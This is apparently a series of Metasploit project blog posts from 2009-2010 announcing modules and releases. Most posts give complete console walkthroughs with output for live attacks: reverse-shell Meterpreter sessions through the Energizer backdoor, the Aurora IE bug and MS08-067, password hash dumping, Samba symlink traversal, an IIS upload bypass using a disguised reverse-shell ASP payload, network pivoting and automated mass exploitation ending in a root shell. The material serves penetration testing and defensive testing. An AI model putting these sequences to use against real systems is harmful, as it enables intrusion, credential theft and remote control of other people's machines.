Metasploit

Locate and Exploit the Energizer Trojan

2010-03-08T11:07:00.001-08:00

The newsophere was abuzz this morning with the discovery that Energizer's "DUO" USB Battery Charger included a malicious backdoor in the accompanying software. This backdoor was only discovered after the product was discontinued, leading some to believe that it went through its entire lifecycle undetected. The good news is that the backdoor is relatively harmless; machines behind the corporate firewall, or those with a local firewall installed, should prevent access to the listener on port 7777. The backdoor makes no outbound connections and uninstalling the USB Charger software package clears the system.

As of this afternoon, you can now use Metasploit to locate infected systems on the local network. After downloading a copy of Metasploit and updating it to revision 8749 or newer, the following commands can be used to scan the local network:

$ msfconsole
msf > use auxiliary/scanner/backdoor/energizer_duo_detect
msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24
msf auxiliary(energizer_duo_detect) > set THREADS 256
msf auxiliary(energizer_duo_detect) > run

[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...

To take things a step further and gain access to a system running this backdoor, use the energizer_duo_payload module:

msf > use exploit/windows/backdoor/energizer_duo_payload
msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132
msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228
msf exploit(energizer_duo_payload) > exploit

[*] Started reverse handler on 192.168.0.228:4444
[*] Trying to upload C:\NTL0ZTL4DhVL.exe...
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)

meterpreter > getuid
Server username: XPDEV\Developer

A copy of the malware can be obtained from the Wayback Machine

Automatically Routing Through New Subnets

2010-02-09T13:53:00.000-08:00

Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side. The route command in msfconsole sets this up but requires a bit of typing to get right.


[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1238)

meterpreter > run get_local_subnets 
Local subnet: 10.1.1.0/255.255.255.0
meterpreter > background 
msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) >

After running the above commands any traffic sent to addresses in the 10.1.1.0 network will be tunnelled through the session. As part of my Blackhat DC presentation last week, I demo'd a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up. Here is some example usage and output:


msf exploit(ms08_067_netapi) > load auto_add_route 
[*] Successfully loaded plugin: auto_add_route
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 10.1.1.1:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1239)
[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1

meterpreter > background 
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) >

The auto_add_route plugin is now available in the metasploit trunk; 'svn up' to get it.

Postgres Fingerprinting

2010-02-05T09:19:00.000-08:00

Many database servers helpfully provide version number, platform, and other salient details to just about anyone who asks, authenticated or not, which makes fingerprinting these applications a snap. However, Postgres is a little more coquettish about revealing such personal information about itself to just anyone. The best way to determine Postgres' version is to log in and just ask with a "select version()" query, but what if you don't (yet) have credentials?

Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:


0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C280
0010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut
0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail
0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos
0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L
0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed
0060   00 00                                            ..

This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.

Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick update. The module looks something like this:

msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As mentioned at the top, if you do happen to have login credentials, you can always use those instead:

msf auxiliary(postgres_version) > set username scott
username => scott
msf auxiliary(postgres_version) > set password tiger
password => tiger
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'
[*] 192.168.145.50:5432 Postgres - querying with 'select version()'
[+] 192.168.145.50:5432 Postgres - Command complete.
[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.

Exploiting the Samba Symlink Traversal

2010-02-05T08:25:00.000-08:00

Last night, Kingcope uploaded a video to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a mailing list post). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

msf auxiliary(samba_symlink_traversal) > run

[*] Connecting to the server...
[*] Trying to mount writeable share 'shared'...
[*] Trying to link 'rooted' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.0.2\shared\rooted\

Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.

Reproducing the "Aurora" IE Exploit

2010-01-15T13:37:00.000-08:00

Update: This module, just like the original exploit, only works on IE6 at this time. IE7 requires a slightly different method to reuse the object pointer and IE8 enables DEP by default.

Yesterday, a copy of the unpatched Internet Explorer exploit used in the Aurora attacks was uploaded to Wepawet. Since the code is now public, we ported this to a Metasploit module in order to provide a safe way to test your workarounds and mitigation efforts.

To get started, grab the latest copy of the Metasploit Framework and use the online update feature to sync latest exploits from the development tree. Start the Metasploit Console (msfconsole) and enter the commands in bold:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >

Open Internet Explorer on a vulnerable machine (we tested Windows XP SP3 with IE 6) and enter the Local IP URL into the browser. If the exploit succeeds, you should see a new session in the Metasploit Console:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

meterpreter > use espia
Loading extension espia...success.

meterpreter > screenshot aurora.bmp

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

Safe, Reliable, Hash Dumping

2010-01-01T16:36:00.000-08:00

The Metasploit Meterpreter has supported the "hashdump" command (through the Priv extension) since before version 3.0. The "hashdump" command is an in-memory version of the pwdump tool, but instead of loading a DLL into LSASS.exe, it allocates memory inside the process, injects raw assembly code, executes its via CreateRemoteThread, and then reads the captured hashes back out of memory. This avoids writing files to the drive and by the same token avoids being flagged by antivirus (AV) and intrusion prevention (HIPS) products.

Over the last few years, many AV and HIPS products have added hooks to detect this behavior and block it at the API level. Unfortunately, the hooks are often implemented in a way that causes LSASS.exe to crash, which forces the entire system to either halt or reboot. This has made the "hashdump" command (along with pwdump and its friends) somewhat risky to use during a penetration test. One alternative to LSASS injection is to export the raw registry hives and then perform an offline extraction. This works, but it requires the hive files to be stored on the disk and currently requires external tools to use this method with the Metasploit Framework.

Over the last couple days, I reimplemented the registry-based method as a Meterpreter script. The key difference is that instead of using the reg.exe command to export the raw hives, this script uses direct registry access to extract the SYSKEY and decrypt the raw LANMAN and NTLM hashes. It isn't the fastest way to do it, but it leaves no evidence on the target, avoids the majority of the HIPS products (unless they filter registry reads), and most importantly is 100% safe in terms of system stability. The output below demonstrates a machine being compromised through MS08-067 and then having the LANMAN/NTLM hashes extracted using the live registry.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.120

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.151

msf exploit(ms08_067_netapi) > set LPORT 4444

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on port 4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.120:1041)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3ed7[...]
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
Guest:501:aad3b435b51404eeaad3b435b51404ee:...
HelpAssistant:1000:ce909bd50f46021bf4aa40680422f646:...
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:...::

The caveat -- to run this Meterpreter script, you must already have access to a SYSTEM token. This is already the case if you are exploiting a system service, like the Server Service or most DCERPC vulnerabilities, but can require a few additional steps if you only have administrative access. The reason is that the Administrators group does not have read access to the registry tree that contains the encrypted password hashes. The next blog post will go into the nitty-gritty details of impersonation and privilege escalation on the Windows platform.

-HD

Exporting the Registry for Fun and Profit

2009-12-31T04:34:00.000-08:00

Over the last few days, I have been playing with WinScanX, a free command-line tool for querying Windows service information over SMB. WinScanX combines many of the essential tools used during a penetration test into a single utility. One of the more interesting features is the "-y" flag, which instructs WinScanX to save a copy of the remote registry hives for SAM, SECURITY, and SYSTEM. These three hives can be used in conjunction with Cain and Abel or creddump to dump the LANMAN/NTLM hashes, view cached credentials, and decrypt LSA secrets. All very useful pieces of data for a penetration test.

The traditional way to obtain this information is by injecting a thread into the LSASS.exe process, calling various undocumented Windows APIs, and exporting the decrypted data back out. The problem with this method is that process injection is not necessarily reliable, especially when third-party security products interfere with the injection code. Any crash in the LSASS.exe process will force the OS to halt or reboot, which is far from stealthy and generally not what you want have happen to a client's domain controller during a penetration test. The injection method is implemented by pwdump, fgcache, cachedump, and the "hashdump" command in the Metasploit Meterpreter payload.

Since imitation is the sincerest form of flattery, I looked into how WinScanX implemented the registry hive export. Using the Remote Registry service over SMB/DCERPC, WinScanX calls the Save function, instructing the service to write an exported copy of the hive to the file system. WinScanX then downloads the hive using the ADMIN$ SMB share. This is a clean way to obtain the hive data, but newer versions of Windows disable the Remote Registry service by default, requiring the user to first enable it, then dump the hive, then disable it again. I would not be surprised if future versions of WinScanX implement this method.

In the context of Metasploit, we have the advantage of direct code execution on the target system, either through an exploit, or using psexec and a valid set of credentials. Instead of going through the Remote Registry service, it might be easier to run a local command in order to grab the registry hive. The command of choice for this is "reg.exe", included with Windows XP and all newer versions of the Windows operating system (missing from NT 4.0 and Windows 2000, but available as a separate download from Microsoft).

The "reg EXPORT" command can be used to take a copy of a specific piece of the registry; the EXPORT option generates human-readable output files that are easy to parse and can be imported into a new system for testing. Metasploit already uses "reg EXPORT" in various Meterpreter scripts, including "scraper.rb" and "winenum.rb". For capturing the HKLM\SYSTEM and HKLM\SAM hives, the EXPORT command works just fine, albeit the output files can get enormous. Trying to EXPORT the HKLM\SECURITY key (as Administrator), however, results in the following error:

C:\>reg EXPORT HKLM\SECURITY security.reg
ERROR: Access is denied.

The SECURITY tree is required to dump cached credentials and LSA secrets (but not password hashes) and without it, we would be missing two important pieces of data. Going back to WinScanX, we see that it uses the Save function, and reg.exe offers a SAVE command, lets try that instead of EXPORT:

C:\>reg SAVE HKLM\SECURITY security.hive
The operation completed successfully.

Hoorah! Even though the Administrator user does not have permission to read the HKLM\SECURITY key, reg.exe bypasses this restriction through the SAVE command. WinScanX uses the Save function call in the Remote Registry service, which likely calls the same backend function as reg.exe in this case. It looks like we have an easy way to grab the SECURITY hive from the command-line. This doesn't turn out to be quite the case, since this behavior changes depending on the version of Windows.

Edi Strosar came up with the following table based on his testing:

Windows 2000 SP4 (admin) = access denied
Windows XP SP2 (admin) = access denied
Windows XP SP3 (admin) = access denied
Windows 2003 R2 SP2 (admin) = works
Windows Vista SP2 (UAC/admin) = works
Windows 2008 SP1 (admin) = works
Windows 7 (UAC/admin) = works

This is an odd case of older versions of Windows actually having tighter restrictions than newer ones. Even though Windows 2000/XP don't exhibit this behavior, these platforms have the Remote Registry service enabled by default, so WinScanX can be used to grab the SECURITY hive anyways.

Keep in mind that using the raw hive file requires a tool that understands the raw registry format (Cain and Abel / creddump). In order for Metasploit to have support for cached credentials and LSA secrets, we will need to implement a registry parser in Ruby (creddump may be a good reference implementation). In the short-term, we can reimplement Meterpreter's "hashdump" to be purely registry-based. This will require SYSKEY code to be implemented, but this should be immediately feasible based on public documentation and the Ruby OpenSSL extension.

Thanks to Edi Strosar, Carlos Perez, and Mario Vilas for their feedback on the reg.exe SAVE issue.

-HD

Exploiting Microsoft IIS with Metasploit

2009-12-28T14:42:00.000-08:00

As of this afternoon, the msfencode command has the ability to emit ASP scripts that execute Metasploit payloads. This can be used to exploit the ~~currently-unpatched~~ file name parsing ~~bug~~ feature in Microsoft IIS. This flaw allows a user who can upload a "safe" file extension (jpg, png, etc) to upload an ASP script and force it to execute on the web server. The bug occurs when a file name is specified in the form of "evil.asp;.jpg" -- the application checks the file extension and sees "jpg", but the IIS server will stop parsing at the first ";" and sees "asp". The result is trivial code execution on any IIS server that allows users to choose the file name of their uploaded attachment.

For the following example, assume we have a web application that allows users to upload image files to the server. To complicate things, lets also assume that the application checks the file content to ensure that the uploaded file is a valid image. To exploit this, we need to generate an ASP script that drops a Meterpreter payload and configure a msfconsole instance to handle the session.

First we generate an ASP script that does a Meterpreter connect-back to the system running Metasploit:

$ msfpayload windows/meterpreter/reverse_tcp \
LHOST=1.2.3.4 LPORT=8443 R | \
msfencode -o evil.asp

Now we need to configure msfconsole to accept the incoming connection:

$ msfconsole
msf> use exploit/multi/handler
msf (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler) > set LHOST 1.2.3.4
msf (handler) > set LPORT 8443
msf (handler) > set ExitOnSession false
msf (handler) > exploit -j

To avoid the image content validator, we will prepend a valid JPG image to our ASP script:

$ cat happy.jpg evil.asp > "evil.asp;.jpg"

$ file "evil.asp;.jpg"
JPEG image data, JFIF standard 1.02

Now we upload our "evil.asp;.jpg" image to the web application. Since the extension ends in "jpg" and the contents of the file appear to be a valid JPEG, the web application accepts the file and renames it to "/images/evil.asp;.jpg"

Finally, we browse to the URL of the uploaded ASP/JPG, which will execute our payload and create a new session with the msfconsole:

[*] Starting the payload handler...
[*] Started reverse handler on port 8443
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.xxx:8443 -> 66.234.xx.xx:1186)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami

nt authority\network service

Happy Holidays (Project Updates)

2009-12-27T20:56:00.000-08:00

Even though Metasploit 3.3.3 was just released on December 23rd, the holidays provided some free time for the community and the development team to add more shiny to the Metasploit Framework.

Metasploit now has the ability to discover, brute force, and query MySQL database servers. This was a multi-pronged effort led by Bernardo Damele A. G, combined with TOMITA Masahiro's pure Ruby MySQL driver, tweaked by myself, and concisely documented by Carlos Perez. We will continue to improve MySQL exploitation support by borrowing some of the other techniques that Bernardo implemented in SQLMap (UDFs, upload, download).

SunRPC support and NFS export scanning has been improved due to a series of patches from Ty Bodell. Expect to see more work around SunRPC and NFS in the future as we start porting more RPC exploits and automate the exploitation of weak NFS exports.

The database backend in Metasploit is going through some major changes; most recently, the report*() functions were modified to append to a queue as opposed to directly inserting data into the database. This solves a large number of performance problems and concurrency issues. This change ties in to the work by James Lee and Mike Smith in version 3.3.3 and has been integrated with the most of the existing auxiliary/scanner/ modules. For the average user, this means that once a database has been configured, modules will start automatically saving their results as they run.

We added a NetBIOS name scanner that can retrieve the hostname, domain, and ethernet mac address of any machine running NetBIOS services (Windows, Samba). What makes this module unique is that it sends a second probe to each host, targeted at the NetBIOS hostname, asking for a list of IP addresses to which that name is bound. This effectively provides a way to enumerate all IP addresses of a Windows or Unix machine (running Samba) with just two UDP packets. This technique allows for the identification of VPN clients, VMWare virtual networks, wireless links, and multi-homed hosts. The examples below demonstrate this module and some of the results that can be found while using it.

msf> use auxiliary/scanner/netbios/nbname
msf auxiliary(nbname) > set RHOSTS 192.168.0.0/24
msf auxiliary(nbname) > run

[*] Sending NetBIOS status requests to 192.168.0.0->192.168.0.255

[*] 192.168.0.142 [WIN7SONY] OS:Windows
Names:(WIN7SONY, WORKGROUP)
Addresses:(192.168.0.142, 192.168.50.1, 192.168.6.1)
Mac:00:1d:ba:xx:xx:xx

[*] 192.168.0.2 [STORAGE] OS:Unix
Names:(STORAGE, WORKGROUP)
Addresses:(192.168.0.2, 66.194.xx.xx)
Mac:00:00:00:00:00:00

This example shows a Windows 7 machine running VMware Workstation (the two additional IP addresses) and an Ubuntu Linux system running Samba with both an internal and external IP address. An external machine running Samba with multiple interfaces would look something like:

[*] 66.240.xx.xx [DBxxxxxx] OS:Unix
Names:(DBxxxxxx, __MSBROWSE__)
Addresses:(66.240.xx.xx, 71.6.yy.yy, 71.6.zz.zz)
Mac:00:00:00:00:00:00

The sweep_udp module has been updated to parse out the NetBIOS status information but doesn't send the secondary probe to obtain the IP address list.

Last but not least, we have added a number of new exploits and auxiliary modules to the tree since version 3.3.3 was released. These exploits include file format modules for Media Jukebox and Mini-stream as well as a remote exploit for HP Recovery Manager's Omni-Inet service.

Metasploit Framework 3.3.3 Exploit Rankings

2009-12-23T05:41:00.000-08:00

This morning we released version 3.3.3 of the Metasploit Framework - this release focuses on exploit rankings, session automation, and bug fixes. The exploit rank indicates how reliable the exploit is and how likely it is for the exploit to have a negative impact on the target system. This ranking can be used to prevent exploits below a certain rank from being used and limit the impact to a particular target.

The most basic use of ranking is the search command - this command now accepts the "-r" parameter, which takes an argument indicating the minimum ranking value to show. Valid ranks are excellent, great, good, normal, average, low, and manual. The wiki page goes into greater detail on what these levels actually mean. The following command would show all modules ranked as "great" or better:

msf> search -r great

From the console, the MinimumRank global option can be used to prevent less-reliable exploits from being run by accident. The following commands demonstrate this feature:

msf> setg MinimumRank excellent
msf> use exploit/windows/smb/ms08_067_netapi

msf (exploit/ms08_067_netapi) > exploit

[-] This exploit is below the minimum rank, 'excellent'.
[-] If you really want to run it, do 'exploit -f' or
[-] setg MinimumRank to something lower ('manual' is
[-] the lowest and would allow running all exploits).

The exploit automation features in Metasploit have been updated to accept a minimum rank value as well. From the nexpose_scan or db_autopwn commands, the "-R" parameter can be used to specify the minimum rank. This instructs the exploit matching algorithm to only run exploits with that rank or better, which not only speeds up the exploit process, but reduces the chance that the target machines and services will crash. The example below shows db_autopwn being used with a NeXpose scan import to only target vulnerabilities where the exploit is ranked excellent:

msf exploit(psexec) > db_autopwn -b -x -t
[*] XX.YY.44.223:1220 exploit/unix/webapp/qtss_parse_xml_exec (CVE-2003-0050, BID-6954)
[*] XX.YY.41.188:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] XX.YY.77.234:445 exploit/windows/smb/psexec (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)
[*] XX.YY.47.203:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] XX.YY.37.182:139 exploit/osx/samba/lsa_transnames_heap (CVE-2007-2446, OSVDB-34699)
[*] XX.YY.32.2:445 exploit/osx/samba/lsa_transnames_heap (CVE-2007-2446, OSVDB-34699)
[*] XX.YY.35.195:445 exploit/windows/smb/psexec (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)
[*] XX.YY.32.2:139 exploit/osx/samba/lsa_transnames_heap (CVE-2007-2446, OSVDB-34699)
[*] XX.YY.44.223:139 exploit/solaris/samba/trans2open (CVE-2003-0201, BID-7294)
[*] XX.YY.44.223:139 exploit/multi/samba/nttrans (CVE-2003-0085, BID-7106)
[*] XX.YY.47.203:135 exploit/windows/dcerpc/ms03_026_dcom (CVE-2003-0352, BID-8205)
[*] XX.YY.47.203:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)
[*] XX.YY.72.243:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] XX.YY.72.243:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)
[*] XX.YY.37.182:445 exploit/osx/samba/lsa_transnames_heap (CVE-2007-2446, OSVDB-34699)
[*] XX.YY.34.236:135 exploit/windows/dcerpc/ms03_026_dcom (CVE-2003-0352, BID-8205)
[*] XX.YY.41.188:135 exploit/windows/dcerpc/ms03_026_dcom (CVE-2003-0352, BID-8205)
[*] XX.YY.41.188:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)

msf exploit(psexec) > db_autopwn -b -x -t -R excellent
[*] XX.YY.44.223:1220 exploit/unix/webapp/qtss_parse_xml_exec (CVE-2003-0050, BID-6954)
[*] XX.YY.77.234:445 exploit/windows/smb/psexec (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)
[*] XX.YY.35.195:445 exploit/windows/smb/psexec (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)

msf exploit(psexec) > db_autopwn -b -x -R excellent -e
[*] (1/3 [0 sessions]): Launching exploit/unix/webapp/qtss_parse_xml_exec against XX.YY.44.223:1220...
[*] (2/3 [0 sessions]): Launching exploit/windows/smb/psexec against XX.YY.77.234:445...
[*] (3/3 [0 sessions]): Launching exploit/windows/smb/psexec against XX.YY.35.195:445...
[*] (3/3 [0 sessions]): Waiting on 3 launched modules to finish execution...
[*] Command shell session 1 opened (192.168.198.128:45146 -> XX.YY.44.223:32554)
[*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution...
[*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution...
[*] The autopwn command has completed with 1 sessions

Active sessions
===============
Id Description Tunnel Via
-- ----------- ------ ---
1 Command shell 192.168.198.128:45146 -> XX.YY.44.223:32554 unix/webapp/qtss_parse_xml_exec

msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Darwin mactgts 5.5 Darwin Kernel Version 5.5: Thu May 30 14:51:26 PDT 2002; root:xnu/xnu-201.42.3.obj~1/RELEASE_PPC Power Macintosh powerpc

id
uid=0(root) gid=0(wheel) groups=0(wheel)

Meterpreter Pivoting, Web Scanning, Wireless, and More!

2009-12-14T08:13:00.000-08:00

Last week we released Metasploit 3.3.2 following on the heels of Metasploit 3.3.1. This release marked a major change to how the Meterpreter backend processed commands; instead of running each request serially, the Meterpreter now spawns a background thread for each request. This allows for multiple scripts to access the same Meterpreter instance at the same time and vastly improves the pivoting functionality. Version 3.3.2 also added support for a standards-compliant XMLRPC server, enhanced the NeXpose Plugin, updated the Oracle mixins, cleaned up the database backend, and fixed 45 bugs. Rapid7 also released an update for NeXpose Community Edition that provides PDF and HTML reporting and adds vulnerability checks for the past Microsoft Tuesday.

We plan to release version 3.3.3 before the end of the year, with a focus on exploit ranking, improving the WMAP web scanner, and expanding our WiFi functionality through Lorcon2.

For those unfamiliar with WMAP, think of it as a web app scanner that has been deconstructed into individual tests. Every security test performed by WMAP can be executed as part of an automated scan or manually as an auxiliary module. Data from one type of scanner module can be fed into another type, which in turn gathers even more data, and so on. The slick part is that these modules have access to the entire Metasploit API, including exploits, payloads, and protocol stacks. It is completely possible to write a WMAP analysis module that leverages information from a web application to compromise another system (using leaked MSSQL credentials, etc). Recent (post 3.3.2) updates to WMAP included a massively expanded directory scanner (based on metasploit.com's own web logs) and updates to the underlying database schema.

On the wireless front, Metasploit has had hostile AP and wireless driver (ring-0) exploits for many years, but until recently we had no way to watch WiFi traffic and interact with a specific device. With the introduction of Lorcon2 support in Metasploit 3.3, we can now port nearly any WiFi tool to a Metasploit module. Mike Kershaw has demonstrated this by porting airpwn and dnspwn to Metasploit, providing great examples of how to use the new API.

As always, the best way to follow development is to watch the activity log from the Metasploit tracker. The last few months have been a whirlwind of development, but the really fun stuff is yet to come :)

Metasploit 3.3.1 + NeXpose Community Edition

2009-12-03T08:04:00.001-08:00

On December 1st, Rapid7 announced the Community Edition of the NeXpose vulnerability management product. At the same time, we released version 3.3.1 of the Metasploit Framework, which contains the first step towards full integration between NeXpose and Metasploit. Since the release, we have made some major improvements based on community feedback and I wanted to take a minute to walk through some of the new features.

The Community Edition of NeXpose is based on the same product as the enterprise versions, but it does have a few restrictions. The community license limits the number of managed IPs to 32, disables web application scanning, and doesn't provide configurable scan templates or discovery mode. The Community Edition does not include commercial support, but a Community Portal has been setup to answer common questions and promote discussion around the product. Other than that, it is essentially an enterprise-grade vulnerability management solution available at no cost.

The Metasploit integration is implemented through the NeXpose Plugin. This plugin can be loaded from the Metasploit console and provides the ability to launch vulnerability scans and automatically import the results using a NeXpose instance (either local or remote). Commercial penetration testing tools have had support for importing vulnerability data for a long time, but these products have left the vulnerability assessment and data import steps as a manual process.

The NeXpose plugin not only combines these steps into a single command, but it can also automatically launch exploit modules after the scan is completed. As of update r7681 this plugin can also launch scans based on a existing database results, such as those imported through Nmap and other tools. Even if you don't actually use Metasploit on a day-to-day basis, this plugin can be useful in that it tells you what Metasploit modules could potentially compromise a target and help prioritize remediation efforts.

For more information on the NeXpose plugin, including a walkthrough on using the plugin to automatically scan and compromise a target, please see the Quick Start Guide on the Metasploit wiki.

Metasploit Framework 3.3 Released!

2009-11-17T05:04:00.001-08:00

We are excited to announce the immediate availability of version 3.3 of the Metasploit Framework. This release includes 446 exploits, 216 auxiliary modules, and hundreds of payloads, including an in-memory VNC service and the Meterpreter. In addition, the Windows payloads now support NX, DEP, IPv6, and the Windows 7 platform. More than 180 bugs were fixed since last year’s release of version 3.2, making this one of the more well-tested releases yet.

Metasploit runs on all modern operating systems, including Linux, Windows, Mac OS X, and most flavors of BSD. Metasploit has been used on a wide range of hardware platforms, from massive Unix mainframes to the Apple® iPhone™. Installers are available for the Windows and Linux platforms, bundling all dependencies into a single package for ease of installation. The latest version of the Metasploit Framework, as well as images, video demonstrations, documentation and installation instructions for many platforms, can be found online at http://www.metasploit.com/framework/.

This release of the Metasploit Framework was driven by numerous key contributors, including James Lee, Yoann Guillot, Steve Tornio, MC, Chris Gates, Alexander Kornbrust, Ramon Valle, Stephen Fewer, Ryan Linn, Lurene Grenier, Mike Kershaw, Patrick Webster, Max Moser, Efrain Torres, Alexander Sotirov, Ty Bodell, Joshua Drake, JR, Carlos Perez, Kris Katterjohn and many others.

The startup speed up the Metasploit Console and all utilities has been greatly improved due to performance patches by Yoann Guillot and a string processing overhaul by James Lee. Metasploit now fully supports the 1.9.1 version of the Ruby interpreter, clearing the way for support under a variety of alternate Ruby VMs in the future.

The Windows installation now includes a fully-functional console interface, using Cygwin and RXVT as a front-end to the framework. The Windows installer now runs on all supported versions of Windows, from Windows 2000 to Windows 7. The Windows version of Metasploit is now portable and can be silently installed via the /S /D=Dest parameters.

